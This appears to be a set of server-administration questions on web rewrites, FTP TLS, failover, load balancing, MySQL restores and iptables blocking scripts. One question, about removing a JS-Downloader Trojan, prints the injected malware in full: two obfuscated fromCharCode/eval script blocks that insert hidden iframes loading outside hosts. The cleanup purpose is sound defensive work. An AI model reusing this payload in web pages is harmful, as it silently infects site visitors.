I have an Openresty web-server that is also working as caching server by using ledge. ledge is setting a "Via" response header that exposing the hostname of the server which is fqdn.
Via: 1.1 xyz.example.com
I have these in my openresty and ledge config:
more_clear_headers 'Server';
server_tokens off;
I would like to remove the "Via" response header completely. But unable to figure out how to do it on ledge :(
I have URL like the following structure:
xyz/asset.html
abc/test.html
xyz/abc/test.html
xyz/abc/qwerty/test2.html
I would like to redirect:
xyz/asset.html to xyz/asset
xyz/abc/test.html to xyz/abc/test
xyz/abc/qwerty/test2.html to xyz/abc/qwerty/test2
Currently I've this redirect rule in my ngnix configuration and it's working for the first level directory redirect:
location ~ ^/(xyz|abc).html { return 301 /$1; }
This works for first level of direct but not working for subdirectories. How to achieve this? Thanks for the help.
Since last month update, Proftpd with TLS not working anymore on Centos 5.11 and Centos 6.7. While trying to connect with FileZilla client, it gets stuck at "Initializing TLS..."
Installed Openssl and proftpd version on CentOS 5.11:
openssl-0.9.8e-36.0.1.el5_11
proftpd-1.3.3g-4.el5
Installed Openssl and proftpd version on CentOS 6.7:
openssl-1.0.1e-42.el6.x86_64
proftpd-1.3.3g-6.el6.x86_64
Proftpd config file TLS settings:
<IfDefine TLS>
TLSEngine off
TLSRequired off
TLSRSACertificateFile /etc/pki/ssl.cert
TLSRSACertificateKeyFile /etc/pki/ssl.key
TLSCACertificateFile /etc/pki/ssl.ca
TLSProtocol SSLv3 TLSv1
# TLSCipherSuite ALL:!ADH:!DES
TLSOptions AllowClientRenegotiations NoSessionReuseRequired
TLSVerifyClient off
#TLSRenegotiate ctrl 3600 data 512000 required off timeout 300
TLSLog /var/log/proftpd/tls.log
<IfModule mod_tls_shmcache.c>
TLSSessionCache shm:/file=/var/run/proftpd/sesscache
</IfModule>
</IfDefine>
The certificate used is CA signed certificate. I tried with TLSProtocol TLSv1.1 and TLSv1.2, but proftpd not starting.
I have one CentOS 5.11 box which has Openssl version openssl-0.9.8e-34.el5_11 installed and FTP with TLS working fine on that box.
I have seen same issue while trying to connect to some other FTP location which is hosted by other hosting companies.
Thanks.
I need to rewrite the URL of my site which contains %3F to ? and %3D to =
I have tried this rule:
RewriteCond %{HTTP_HOST} myhostname
RewriteRule ^(.*)%3F(.+)%3D(.+)$ $1?$2=$3 [L,R=301]
And this:
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^\%]+)\%3[Ff]\%3[dD]([^\ ]+)\ HTTP/
RewriteRule \.*$ %1?%2=$3 [R=301,L]
But none worked.
Help please. Thanks.
I've installed Heartbeat in two CentOS 6.2 machines which are running http service. I want these machines to be in Active/Passive state. I want only one machine to be active. Here's my ha.cf file:
logfacility local0
ucast eth1 192.168.0.66
#bcast eth1
keepalive 2
warntime 6
deadtime 10
auto_failback on
use_logd yes
node web5
node web5b
And here's the haresources file:
web5 IPaddr::192.168.0.60/24/eth1/192.168.0.255
The problem is when I start heartbeat on both servers, the IP 192.168.0.60 stays active in both servers. I want it to be active only on Web5 and if web5 goes down it'll be active in Web5b. My heartbeat version is 3.0.4.
Any help?
I ran into a big trouble. I made mysql dump using version 5.0.77 without setting the compatibility mode (I wasn't aware of this problem). Actual mysql server is version 4.0.18. Today our database crashed. Lots of tables lost. While trying to restore the dump, it's returning error "ERROR 1193 at line 18: Unknown system variable 'character_set_client'". Is there any way we can restore the db?
Thanks a lot for you help.
I'm trying to setup a L2TP VPN server(to give user access on to all my VPN instance) on a Windows 2003 instance running on my VPC. While trying to enable RRAS I'm getting error, "less than two network interfaces were detected on this machine". Eventually it's because there's only one network interface available, the which has private IP. I have elastic IP assigned to this instance as well. But RRAS can't see this. What should I do to RRAS to be able to see the interface with elastic IP?
In our mail server there are multiple virtual email domain hosted. User can use webmail.example.com (this is the first apache virtualhost) to check mail or they can use mail.THEIR-DOMAIN.com. If the put mail.THEIR-DOMAIN.com apache shows the webmail.example.com as it is the first virtualhost and mail.THEIR-DOMAIN.com doesn't exist. Recently we imposed https for webmail.example.com and added this mod_rewrite rule:
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
But now users not getting the default webmail page as they were getting before. How can we redirect all request coming to the URL "mail.ANY-DOMAIN.com" to "https://webmail.example.com"? I've tried the following but it didn't work:
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule (mail.*) https://webmail.example.com
Thanks for your help in advance.
I made a terrible mistake while move sites of one server to another. We created virtualhosts in the new server using virtualmin. But while restoring files from old server to new server, I mistakenly copied all files in "/home/VIRTUALHOSTS-NAME/" instead of "/home/VIRTUALHOSTS-NAME/public_html". Now I had to move all files from the home directory of the virtualhosts to the public_html directory except few default folders like: fcgi-bin, public_html, awstats,cgi-bin etc. Can this be automated with a shell script or any command with pipe?
We are planning to move all our physical server into 2 ESXi box. Currently each of the server has 2 NIC. One NIC is used as public interface which has public IP, and another NIC has private IP. All servers are in same private subnet. But the public interface has different gateway for different server.
The ESXi server has 2 physical NIC. Is it possible to use one of the NIC as public NIC for all guest OS and another NIC as private NIC? Is this also possible to use different gateways for guest OS? Thanks for you response in advance.
Possible Duplicate:
My server's been hacked EMERGENCY
In our web-server most of the sites are infected with this JS-Downloader Trojan. It injected the following code. I've tried to clean up the server with "linux malware detector" and ClamAV, but both of them failed to clean it up. Any suggestion how to clean this up? Do I need to run a script to clean it? I've written this script. But it's not able to clean.
while read -r file
do
sed -i '/<script>var s,g=2,aa=document.createTextNode("harCode");if(~0===Math.cos(Math.PI)){s=String["fr"+"omC"+aa.nodeValue];} eval(s(7+g,7+g,103+g,100+g,30+g,38+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,39+g,121+g,7+g,7+g,7+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,57+g,7+g,7+g,123+g,30+g,99+g,106+g,113+g,99+g,30+g,121+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,117+g,112+g,103+g,114+g,99+g,38+g,32+g,58+g,103+g,100+g,112+g,95+g,107+g,99+g,30+g,113+g,112+g,97+g,59+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,30+g,117+g,103+g,98+g,114+g,102+g,59+g,37+g,47+g,46+g,37+g,30+g,102+g,99+g,103+g,101+g,102+g,114+g,59+g,37+g,47+g,46+g,37+g,30+g,113+g,114+g,119+g,106+g,99+g,59+g,37+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,56+g,102+g,103+g,98+g,98+g,99+g,108+g,57+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,56+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,57+g,106+g,99+g,100+g,114+g,56+g,46+g,57+g,114+g,109+g,110+g,56+g,46+g,57+g,37+g,60+g,58+g,45+g,103+g,100+g,112+g,95+g,107+g,99+g,60+g,32+g,39+g,57+g,7+g,7+g,123+g,7+g,7+g,100+g,115+g,108+g,97+g,114+g,103+g,109+g,108+g,30+g,103+g,100+g,112+g,95+g,107+g,99+g,112+g,38+g,39+g,121+g,7+g,7+g,7+g,116+g,95+g,112+g,30+g,100+g,30+g,59+g,30+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,97+g,112+g,99+g,95+g,114+g,99+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,38+g,37+g,103+g,100+g,112+g,95+g,107+g,99+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,113+g,112+g,97+g,37+g,42+g,37+g,102+g,114+g,114+g,110+g,56+g,45+g,45+g,108+g,114+g,43+g,113+g,114+g,95+g,114+g,113+g,44+g,97+g,109+g,44+g,114+g,116+g,45+g,97+g,109+g,115+g,108+g,114+g,99+g,112+g,44+g,102+g,114+g,107+g,37+g,39+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,116+g,103+g,113+g,103+g,96+g,103+g,106+g,103+g,114+g,119+g,59+g,37+g,102+g,103+g,98+g,98+g,99+g,108+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,110+g,109+g,113+g,103+g,114+g,103+g,109+g,108+g,59+g,37+g,95+g,96+g,113+g,109+g,106+g,115+g,114+g,99+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,106+g,99+g,100+g,114+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,114+g,119+g,106+g,99+g,44+g,114+g,109+g,110+g,59+g,37+g,46+g,37+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,117+g,103+g,98+g,114+g,102+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,100+g,44+g,113+g,99+g,114+g,63+g,114+g,114+g,112+g,103+g,96+g,115+g,114+g,99+g,38+g,37+g,102+g,99+g,103+g,101+g,102+g,114+g,37+g,42+g,37+g,47+g,46+g,37+g,39+g,57+g,7+g,7+g,7+g,98+g,109+g,97+g,115+g,107+g,99+g,108+g,114+g,44+g,101+g,99+g,114+g,67+g,106+g,99+g,107+g,99+g,108+g,114+g,113+g,64+g,119+g,82+g,95+g,101+g,76+g,95+g,107+g,99+g,38+g,37+g,96+g,109+g,98+g,119+g,37+g,39+g,89+g,46+g,91+g,44+g,95+g,110+g,110+g,99+g,108+g,98+g,65+g,102+g,103+g,106+g,98+g,38+g,100+g,39+g,57+g,7+g,7+g,123+g));</script><script>var s,d1=new Date(),d2=new Date(d1.getTime()+2),o=d1-d2,aa=document.createTextNode("eval");e=window[aa.nodeValue];e(String.fromCharCode(11+o,11+o,107+o,104+o,34+o,42+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,43+o,125+o,11+o,11+o,11+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,61+o,11+o,11+o,127+o,34+o,103+o,110+o,117+o,103+o,34+o,125+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,121+o,116+o,107+o,118+o,103+o,42+o,36+o,62+o,107+o,104+o,116+o,99+o,111+o,103+o,34+o,117+o,116+o,101+o,63+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,34+o,121+o,107+o,102+o,118+o,106+o,63+o,41+o,51+o,50+o,41+o,34+o,106+o,103+o,107+o,105+o,106+o,118+o,63+o,41+o,51+o,50+o,41+o,34+o,117+o,118+o,123+o,110+o,103+o,63+o,41+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,60+o,106+o,107+o,102+o,102+o,103+o,112+o,61+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,60+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,61+o,110+o,103+o,104+o,118+o,60+o,50+o,61+o,118+o,113+o,114+o,60+o,50+o,61+o,41+o,64+o,62+o,49+o,107+o,104+o,116+o,99+o,111+o,103+o,64+o,36+o,43+o,61+o,11+o,11+o,127+o,11+o,11+o,104+o,119+o,112+o,101+o,118+o,107+o,113+o,112+o,34+o,107+o,104+o,116+o,99+o,111+o,103+o,116+o,42+o,43+o,125+o,11+o,11+o,11+o,120+o,99+o,116+o,34+o,104+o,34+o,63+o,34+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,101+o,116+o,103+o,99+o,118+o,103+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,42+o,41+o,107+o,104+o,116+o,99+o,111+o,103+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,117+o,116+o,101+o,41+o,46+o,41+o,106+o,118+o,118+o,114+o,60+o,49+o,49+o,101+o,113+o,47+o,117+o,118+o,99+o,118+o,117+o,48+o,101+o,113+o,48+o,100+o,103+o,49+o,117+o,118+o,99+o,118+o,107+o,117+o,118+o,107+o,101+o,48+o,106+o,118+o,111+o,41+o,43+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,120+o,107+o,117+o,107+o,100+o,107+o,110+o,107+o,118+o,123+o,63+o,41+o,106+o,107+o,102+o,102+o,103+o,112+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,114+o,113+o,117+o,107+o,118+o,107+o,113+o,112+o,63+o,41+o,99+o,100+o,117+o,113+o,110+o,119+o,118+o,103+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,110+o,103+o,104+o,118+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,118+o,123+o,110+o,103+o,48+o,118+o,113+o,114+o,63+o,41+o,50+o,41+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,121+o,107+o,102+o,118+o,106+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,104+o,48+o,117+o,103+o,118+o,67+o,118+o,118+o,116+o,107+o,100+o,119+o,118+o,103+o,42+o,41+o,106+o,103+o,107+o,105+o,106+o,118+o,41+o,46+o,41+o,51+o,50+o,41+o,43+o,61+o,11+o,11+o,11+o,102+o,113+o,101+o,119+o,111+o,103+o,112+o,118+o,48+o,105+o,103+o,118+o,71+o,110+o,103+o,111+o,103+o,112+o,118+o,117+o,68+o,123+o,86+o,99+o,105+o,80+o,99+o,111+o,103+o,42+o,41+o,100+o,113+o,102+o,123+o,41+o,43+o,93+o,50+o,95+o,48+o,99+o,114+o,114+o,103+o,112+o,102+o,69+o,106+o,107+o,110+o,102+o,42+o,104+o,43+o,61+o,11+o,11+o,127+o));</script></body>/d' $file
done< <(find . -name '*.htm' -o -name '*.html' -o -name '*.js' -o -name '*.php')
I have 200+ mysql database dump in tar.gz format. Restoring all of them one by one is very time consuming. Is there any way so I can restore all these database in a single transaction.
Thanks for your help in advance!
I've installed pop-before-smtp in my mail server(iredmail). I need help to configure the $pat to read the pattern of my Dovecot file. Dovecote log file is like this:
2011-05-14 14:01:21 pop3-login: Info: Login: user=<[email protected]>, method=PLAIN, rip=180.234.45.133, lip=66.165.162.157
2011-05-14 14:01:22 POP3([email protected]): Info: Disconnected: Logged out top=0/0, retr=0/0, del=0/0, size=0
2011-05-14 14:01:52 pop3-login: Info: Login: user=<[email protected]>, method=PLAIN, rip=180.234.45.133, lip=66.165.162.157
2011-05-14 14:01:53 POP3([email protected]): Info: Disconnected: Logged out top=0/0, retr=0/0, del=0/0, size=0
Pop-before-smtp script by default offer this pattern for Dovecot. But it's not working for me. None of 3 of the pattern.
# For Dovecot POP3/IMAP when using syslog.
$pat = '^[LOGTIME] \S+ (?:dovecot: )?(?:imap|pop3)-login: ' .
'Login: .*? (?:\[|rip=)[:f]*(\d+\.\d+\.\d+\.\d+)[],]';
$out_pat = '^[LOGTIME] \S+ (?:dovecot: )?(?:imap|pop3)-login: ' .
'Disconnected.*? (?:\[|rip=)[:f]*(\d+\.\d+\.\d+\.\d+)[],]';
# For Dovecot POP3/IMAP when it does its own logging.
$logtime_pat = '(\d\d\d\d-\d+-\d+ \d+:\d+:\d+)';
$pat = '^dovecot: [LOGTIME] Info: (?:imap|pop3)-login: ' .
'Login: .+? rip=[:f]*(\d+\.\d+\.\d+\.\d+),';
$out_pat = '^dovecot: [LOGTIME] Info: (?:imap|pop3)-login: ' .
'Disconnected.*? rip=[:f]*(\d+\.\d+\.\d+\.\d+),';
# For older Dovecot POP3/IMAP when it does its own logging.
$pat = '^(?:imap|pop3)-login: [LOGTIME] Info: ' .
'Login: \S+ \[[:f]*(\d+\.\d+\.\d+\.\d+)\]';
$out_pat = '^(?:imap|pop3)-login: [LOGTIME] Info: ' .
'Disconnected.*? \[[:f]*(\d+\.\d+\.\d+\.\d+)\]';
Pop-before-smtp needs to read the IP from the log by regex. Kindly help me on this. Thanks
In our mail server we are taking lots of hits. In the maillog there are lots of these:
Apr 23 04:35:13 mail1 postfix/smtpd[31700]: NOQUEUE: reject: RCPT from unknown[119.153.14.231]: 554 <[email protected]>: Recipient address rejected: User unknown in local recipient table; from=<[email protected]> to=<[email protected]> proto=ESMTP helo=<localhost>
I have a script which searches for the IPs and block those. I'm having a problem when I IP block the RCPT IP's. Instead I want to block the senders domain, like in this example: shareme.com. What should I modify in my script to do this?
#!/bin/bash
IPT=/sbin/iptables
LIMIT=10
cd /admin
# first get one minute of log
grep "`date +"%b %d %H:%M:" --date="1 minutes ago"`" /var/log/maillog > minutelog
# now extract the rejected attempts, sort and count uniq ip
cat minutelog | grep "reject:" | cut -d" " -f10 | cut -d"[" -f2 | cut -d"]" -f 1 | sort | uniq -c | sort -n | sed 's/^[ \t]*//' > tmp1
# for each line in result
while read line
do
MYCOUNT=`echo $line | cut -d" " -f1`
MYIP=`echo $line | cut -d" " -f2`
if [ $MYCOUNT -lt $LIMIT ] ;
then
echo $MYIP is ok: $MYCOUNT attempts
else
echo blocking the spammer at $MYIP with $MYCOUNT attempts
$IPT -I INPUT -i eth0 --proto tcp -s $MYIP --destination-port 25 -j DROP
echo $MYIP >> blocked.smtp
fi
done < tmp1
rm -f minutelog
rm -f tmp1
I've a script which will take backup of mysql db through mysqldump. I'd like add another option in this script to send an automatic email if the dump is successful or failure.
Here's the script:
#!/bin/sh
BACKUP=/data/backup/sql2/new_backup/daily
cd $BACKUP
mkdir `date '+%d-%m-%Y'`
NOW=$(date +"%d-%m-%Y")
MUSER="root"
MPASS="mypass"
MHOST="sql4"
MYSQL="$(which mysql)"
MYSQLDUMP="$(which mysqldump)"
GZIP="$(which gzip)"
DBS="$($MYSQL -u $MUSER -h $MHOST -p$MPASS -Bse 'show databases')"
for db in $DBS
do
FILE=$BACKUP/$NOW/mysql-$db.$NOW-$(date +"%T").sql.gz
$MYSQLDUMP -u $MUSER -h $MHOST -p$MPASS --lock-all-tables $db | $GZIP -9 > $FILE
done
How can I do this?
I've installed the new version of SquirrelMail 1.4.21 on my server. The old version is working fine. The new version is working fine with IE and Firefox. But in Google Chrome, after login, when I try to open any email from the inbox it returns this error:
ERROR
You must be logged in to access this page.
Go to the login page
This is the VirtualHost configuration for SquirrelMail:
<VirtualHost *:80>
DocumentRoot /www/webmail2.zedandzed.com
ServerName webmail2.zedandzed.com
ErrorDocument 403 http://webmail2.zedandzed.com/index.php
ErrorDocument 404 http://webmail2.zedandzed.com/index.php
ErrorDocument 405 http://webmail2.zedandzed.com/index.php
php_value session.auto_start 0
#php_value register_globals off
php_value magic_quotes_gpc off
php_value session.use_cookies 1
<Directory "/www/webmail2.zedandzed.com">
Options Indexes FollowSymLinks ExecCGI Includes MultiViews
AllowOverride All
Order allow,deny
Allow from all
</Directory>
</VirtualHost>
Why is it not working in Google Chrome?
We have 2 HTTP Load balancer with HAproxy and heartbeat. There are 4 apache nodes in this cluster. It's doing round robin load balancing. The HTTP cluster working fine. We are having problem with our portal because it uses SSO. We need sticky connection support in our HAproxy. Also we need load balancing for HTTPS traffic. Here's our HAproxy conf file.
global
# to have these messages end up in /var/log/haproxy.log you will
# need to:
#
# 1) configure syslog to accept network log events. This is done
# by adding the '-r' option to the SYSLOGD_OPTIONS in
# /etc/sysconfig/syslog
#
# 2) configure local2 events to go to the /var/log/haproxy.log
# file. A line like the following can be added to
# /etc/sysconfig/syslog
#
# local2.* /var/log/haproxy.log
#
log 127.0.0.1 local0
log 127.0.0.1 local1 notice
chroot /var/lib/haproxy
pidfile /var/run/haproxy.pid
maxconn 4000
user haproxy
group haproxy
daemon
# turn on stats unix socket
stats socket /var/lib/haproxy/stats
#---------------------------------------------------------------------
# common defaults that all the 'listen' and 'backend' sections will
# use if not designated in their block
#---------------------------------------------------------------------
defaults
mode http
log global
option httplog
option dontlognull
option http-server-close
option forwardfor except 127.0.0.0/8
option redispatch
retries 3
timeout http-request 10s
timeout queue 1m
timeout connect 10s
timeout client 1m
timeout server 1m
timeout http-keep-alive 10s
timeout check 10s
maxconn 3000
#---------------------------------------------------------------------
# main frontend which proxys to the backends
#---------------------------------------------------------------------
frontend main *:5000
acl url_static path_beg -i /static /images /javascript /stylesheets
acl url_static path_end -i .jpg .gif .png .css .js
use_backend static if url_static
default_backend app
#---------------------------------------------------------------------
# static backend for serving up images, stylesheets and such
#---------------------------------------------------------------------
backend static
balance roundrobin
server static 127.0.0.1:4331 check
#---------------------------------------------------------------------
# round robin balancing between the various backends
#---------------------------------------------------------------------
backend app
listen ha-http 10.190.1.28:80
mode http
stats enable
stats auth admin:xxxxxx
balance roundrobin
cookie JSESSIONID prefix
option httpclose
option forwardfor
option httpchk HEAD /haproxy.txt HTTP/1.0
server apache1 portal-04:80 cookie A check
server apache2 im-01:80 cookie B check
server apache3 im-02:80 cookie B check
server apache4 im-03:80 cookie B check
Please advice. Thanks for your help in advance.
I want to filter and block failed attempt to access my proftp server. Here is an example line from the /var/log/secure file:
Jan 2 18:38:25 server1 proftpd[17847]: spy1.XYZ.com (93.218.93.95[93.218.93.95]) - Maximum login attempts (3) exceeded
There are several lines like this. I would like to block any attempts like this from any IP twice. Here's a script I'm trying to run to block those IPs.
tail -1000 /var/log/secure | awk '/proftpd/ && /Maximum login/ { if (/attempts/) try[$7]++; else try[$11]++; }
END { for (h in try) if (try[h] > 4) print h; }' |
while read ip
do
/sbin/iptables -L -n | grep $ip > /dev/null
if [ $? -eq 0 ] ; then
# echo "already denied ip: [$ip]" ;
true
else
logger -p authpriv.notice "*** Blocking ProFTPD attempt from: $ip"
/sbin/iptables -I INPUT -s $ip -j DROP
fi
done
how can I select the IP with "awk". with the current script it's selecting "(93.218.93.95[93.218.93.95])" this line completely. But i only want to select the IP.